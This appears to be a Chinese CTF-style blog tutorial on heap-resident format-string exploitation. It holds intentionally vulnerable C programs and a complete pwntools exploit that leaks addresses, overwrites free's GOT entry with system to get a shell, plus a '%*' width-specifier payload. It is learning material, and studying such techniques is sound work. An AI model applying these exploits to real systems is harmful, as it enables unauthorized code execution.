格式化字符串在堆上的利用 前言 在面试星盟的时候,面试的师傅考到了这个问题。才明白过来,其实自己对于格式化字符串的理解还是太浅了。于是就按照书上的教程又学习了一下
格式化字符串不在栈上的利用方式 所谓堆上的格式化字符串指的是格式化字符串本身存储在堆上,这个主要增加了我们获取对应偏移的难度,而一般来说,该格式化字符串都是很有可能被复制到栈上的。
本来一般的格式化字符串是可以通过栈的压栈传参来控制后面的数 据,达到任意地址写和任意地址读的,但是在堆上的,我们便无法去控制这些数据
于是我们就有了新的利用方法,通过在栈上三重指针p1 -> p2 -> p3 , 通过p1 去控制p2 的指针,然后我们就可以通过p2的指针去控制p3的值,于是我们便可以在p3上写入地址,然后通过p3指针去修改值。
下面是书上的源文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <unistd.h> void init () { setbuf(stdin ,0 ); setbuf(stdout ,0 ); setbuf(stderr ,0 ); return ; } void fsb (char * format,int n) { puts ("please input your name:" ); read(0 ,format,n); printf ("hello " ); printf (format); return ; } void vuln () { char * format = malloc (200 ); for (int i = 0 ; i<30 ;i++) { fsb(format,200 ); } free (format); return ; } int main () { init(); vuln(); return ; }
通过下面的命令编译程序
1 2 3 4 all: gcc -fstack-protector-all -pie -fPIE -z lazy format.c -o format -g clean: rm format
利用方式 可以看到这里是存在格式化字符串漏洞的,但是这个字符串是在堆上的,于是我们便无法控制指针的内容。这里的一个思路便是通过上面说的三重指针去修改free的got表为systenm函数的地址,然后修改free的参数为/bin/sh就行了。下面是具体的利用脚本:
64位的格式化字符串传参是通过RSI、RDX、RCX、R8、R9来传递的,RDI来存放格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *import osimport syscontext.os = 'linux' context.terminal = ['tmux' , 'splitw' , '-h' ] LOCAL = 1 LIBC = 1 elf_path = './format' libc_path = '/lib/x86_64-linux-gnu/libc.so.6' code = ELF(elf_path) context.arch=code.arch r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level = 'debug' def db (): if (LOCAL): gdb.attach(io) def cat_flag (): flag_header = b'flag{' sleep(1 ) sl('cat flag' ) ru(flag_header) flag = flag_header + ru('}' ) + b'}' exit(0 ) print def exploit (): li("泄露地址" ) li('exploit...' ) pl = "%10$p%11$p%21$p" sla("please input your name:\n" ,pl) ru("0x" ) stack = int (ru('0x' ),16 ) base = int (ru("0x" ),16 )-elf.symbols['vuln' ]- 63 -0x4 libc_base = int (ru('\n' ),16 ) - libc.symbols['__libc_start_main' ] - 243 li("stack_ebp addr -----> 0x%x" % stack) li("main_base addr -----> 0x%x" % base) li("libc_base addr -----> 0x%x" % libc_base) p1 = (stack - 0x30 ) p2 = (stack) p3 = (stack+ 0x20 ) free_got = base + elf.got['free' ] system = libc_base+libc.symbols['system' ] li("system: ------> 0x%x" % system) li("free_got -----> 0x%x" % free_got) li("p1 ------->0x%x" % p1) li("p2 ------->0x%x" % p2) li("p3 ------->0x%x" % p3) li("overwrite p3 to free_got" ) for i in range (0 ,6 ): x = 5 -i off = (p3+x)&0xff ru("name:\n" ) pl1 = "%" +str (off)+"c%10$hhn" +'\x00' *50 sl(pl1) ch = (free_got>>(x*8 ))&0xff li("ch ---> 0x%x" % ch) pl2 = "%" +str (ch)+"c%16$hhn" +'\x00' *50 ru("name:\n" ) sl(pl2) li("修改p3的地址指向free_got,然后修改p3指向的地址上的值为sytem" ) for i in range (0 ,6 ): x = 5 -i off = (free_got+x)&0xff ru("name:\n" ) pl1 = "%" +str (off)+"c%16$hhn" +'\x00' *50 sl(pl1) ch = (system>>(x*8 ))&0xff li("ch ---> 0x%x" % ch) pl2 = "%" +str (ch)+"c%20$hhn" +'\x00' *50 ru("name:\n" ) sl(pl2) for i in range (30 - 25 ): ru("name:\n" ) sl('/bin/sh' +'\x00' ) def finish (): ia() c() if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env={"LD_PRELOAD" : libc_path}) else : io = elf.process() else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
格式化字符串的特殊用法–占位符 格式化字符串有时候回遇到一些比较少见的占位符,如“*”表示取对应的函数参数的值来作为宽度。
下面是案例教程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <unistd.h> #include <fcntl.h> int main () { char buf[100 ]; long long a = 0 ; long long b =0 ; int fp = open("/dev/urandom" ,O_RDONLY); read(fp,&a,2 ); read(fp,&b,2 ); close(fp); long long num; puts ("your name:" ); read(0 ,buf,100 ); puts ("you can guess a number ,if you are lucky I will give you a gift:" ); long long *num_ptr = # scanf ("%lld" ,num_ptr); printf ("hello " ); printf (buf); puts ("let me see ......" ); if (a+b == num) { puts ("you win ,I will give you a shell!" ); system("/bin/sh" ); } else { puts ("you are not lucky enough" ); exit (0 ); } }
只要我们输入的值等于随机的数字相加的值即可获得shell,然后下面是对应的exp
1 2 3 4 def exploit (): pl = "%*8$c" +"%*9$c" +"%11$n" sla('name:\n' ,pl) sla("gift:\n" ,'1' )